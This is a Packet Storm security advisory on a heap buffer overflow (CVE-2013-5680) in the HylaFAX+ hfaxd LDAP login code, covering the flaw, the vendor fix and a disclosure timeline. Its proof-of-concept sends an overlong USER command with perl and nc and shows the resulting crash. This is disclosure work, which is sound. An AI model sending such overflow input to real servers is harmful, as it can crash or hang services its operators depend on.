what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HylaFAX+ 5.5.3 Buffer Overflow

HylaFAX+ 5.5.3 Buffer Overflow
Posted Sep 30, 2013
Authored by Dennis Jenkins

HylaFAX+ versions 5.2.4 through 5.5.3 suffer from a buffer overflow vulnerability. The code path for authenticating users via LDAP allocates a 255-byte buffer (via the C++ "new" operator), and then "strcats" user-supplied data buffered from the inbound FTP control channel. Other code limits the amount of copied data to 506 bytes, and truncates on NULL and "\n". Thus it is possible for an unauthenticated remote attacker to overflow the heap with a limited character set.

tags | exploit, remote, overflow
advisories | CVE-2013-5680
SHA-256 | 4b209ff117ea49481dfc4cb29356200b0bd379cabdada2b4e329aae67a8b0a2a

HylaFAX+ 5.5.3 Buffer Overflow

Change Mirror Download
Details
===========================================================
Application: "HylaFAX+"
Version: 5.2.4 (April, 2008) through 5.5.3 (August 6, 2013)
Type: Daemon that manages a fax server via an FTP-like protocol.
Vendor / Maintainer: Lee Howard (faxguy _at_ howardsilvan.com)
Project Homepage: http://hylafax.sourceforge.net/
Vulnerability: CWE-120: Classic buffer overflow from unchecked network
traffic, resulting in heap corruption.
Vulnerability Discoverer: Dennis Jenkins (dennis.jenkins.75 _at_ gmail.com)
CVE reference: CVE-2130-5680, 2013-09-03
Solution Status: Fixed by vendor.


Description
===========================================================
"HylaFAX™ is an enterprise-class open-source system for sending and
receiving facsimiles as well as for sending alpha-numeric pages."


Vulnerability
===========================================================
HylaFAX+ contains a daemon, "hfaxd", that allows a "fax client" to
communicate with the fax server to submit fax jobs, query status,
configure modems, etc... The underlying wire protocol is a super-set
of classic FTP. "hfaxd" can be compiled with support for
authenticating users via LDAP, although usually, one just configured
hfaxd to use PAM. The code path for authenticating users via LDAP
allocates a 255-byte buffer (via the C++ "new" operator), and then
"strcats" user-supplied data buffered from the inbound FTP control
channel. Other code limits the amount of copied data to 506 bytes,
and truncates on NULL and "\n". Thus it is possible for an
UNAUTHENTICATED remote attacker to overflow the heap with a limited
character set. At a minimum, this can crash or hang a hfaxd forked
client. At this time, we have not attempted to construct an actual
exploit that leverages this security bug.

“hfaxd” typically runs as the “uucp” user, and forks on each new
connection. The heap overflow occurs in a forked child. Typically,
the child will simply hang. We theorize (but have not tested) that an
attacker could consume system resources by abusing the heap overflow.
Although this has not been confirmed, the possibility that an attacker
may be able to execute arbitrary code in the "hfaxd" context can not
be ruled out.

It should be noted that the principle author of HylaFAX+, Lee Howard,
did not write the LDAP code - it was supplied by a third party. After
I discovered the bug, Lee and I worked together to fix it, exchanging
code patches, performing peer-review and testing. All use of "strcat"
was replaced with "snprintf".

For the vulnerability to be exposed, one must first compile
HylaFAX+with LDAP support, and then configure LDAP in "hfaxd.conf".
Simply compiling with LDAP support alone is insufficient to produce a
vulnerable system.

Lee and I suspect that the number of HylaFAX+ installations with LDAP
support configured are extremely low, if not zero.

This vulnerability does not exist in other versions of HylaFAX.
HylaFAX+ was forked from code at hylafax.org in 2005, 3 years before
the problematic LDAP code was added to HylaFAX+


Solution
===========================================================
1) Update to HylaFAX+ v5.5.4
(http://hylafax.sourceforge.net/news/5.5.4.php) or later.
-OR-
2) Disable LDAP authentication (edit hfaxd.conf)


Proof-of-concept
===========================================================
1) Enable LDAP authentication on the hfaxd server. Note, a valid LDAP
server need not exist. Simply setting the “LDAPServerURI:” directive
in “/usr/local/lib/fax/hfaxd.conf” is sufficient.

# grep "^LDAPServerURI" /usr/local/lib/fax/hfaxd.conf
LDAPServerURI: ldap://127.0.0.1:389

2) Start (or restart) the hfaxd process. Run inside valgrind to see
the heap overwrite get caught.
# valgrind ./hfaxd/hfaxd -c /usr/local/lib/fax/hfaxd.conf -l
192.168.2.33 -q /var/spool/fax -i hylafax -d

3) Run this script from a client system. NOTE: If testing on the same
server as the host, don’t connect to “localhost” / 127.0.0.1. This
will not invoke LDAP (not sure why):

# # Test authentication without buffer overflow:
# perl -le 'print "USER ".("x"x10)."12345\nPASS test-ldap\nQUIT\n\n" '
| nc -q 5:5 192.168.2.33 4559
(seen on client)
nc: using stream socket
220 localhost server (HylaFAX (tm) Version 5.5.4) ready.
331 Password required for xxxxxxxxxx12345.
530 Bind LDAP error -1: Can't contact LDAP server
530 Login incorrect.

4) Test again, but increase the amount of data in the “USER” command
to overwrite the heap:

# perl -le 'print "USER ".("x"x500)."12345\nPASS test-ldap\nQUIT\n\n"
' | nc -q 5:5 192.168.2.33 4559
(client)
220 localhost server (HylaFAX (tm) Version 5.5.4) ready.
331 Password required for
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx12345.
(connection hangs until ‘nc’ times out)

(server)
Valgrind on the server will spew lots of diagnostics, ending with this:
--15348-- VALGRIND INTERNAL ERROR: Valgrind received a signal 11
(SIGSEGV) - exiting
--15348-- si_code=80; Faulting address: 0x0; sp: 0x402f3adf0

valgrind: the 'impossible' happened:
Killed by fatal signal
==15348== at 0x38062496: vgPlain_arena_malloc (m_mallocfree.c:291)
==15348== by 0x380294E4: vgMemCheck_new_block (mc_malloc_wrappers.c:263)
==15348== by 0x3802967A: vgMemCheck_malloc (mc_malloc_wrappers.c:301)
==15348== by 0x3809CEED: vgPlain_scheduler (scheduler.c:1665)
==15348== by 0x380AC5A5: run_a_thread_NORETURN (syswrap-linux.c:103)




Timeline
===========================================================
2013-07-22 - Vulnerability discovered
2013-07-22 - Project maintainer contacted
2013-07-23 - Reply from maintainer received; maintainer attempted to
contact original code author.
2013-07-27 - Project maintainer reports "No reply from original author
of vulnerable code section."
2013-07-27 - Project maintainer shares a proposed patch.
2013-07-28 - Discussions with maintainer on my desire to submit a
patch set to completely refactor entire section of code.
2013-07-30 - Patchset submitted to maintainer (via private email)
2013-07-30 - Project maintainer requests publication delay until at
least August 15, to allow time for Fedora to uptake new RPMs.
2013-07-31 - Project maintainer accepts patch set to refactor relevant code.
2013-08-07 - Project maintainer completes preliminary testing,
coordinates release of RPMs for Fedora.
2013-08-22 - Fedora pushing new RPMs.
2013-09-03 - Filed for CVE with MITRE. Granted: "CVE-2013-5680".
2013-09-30 - Composed this notice, shared draft with project
maintainer for feedback.
2013-09-30 - Public notice to "bugtraq".
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close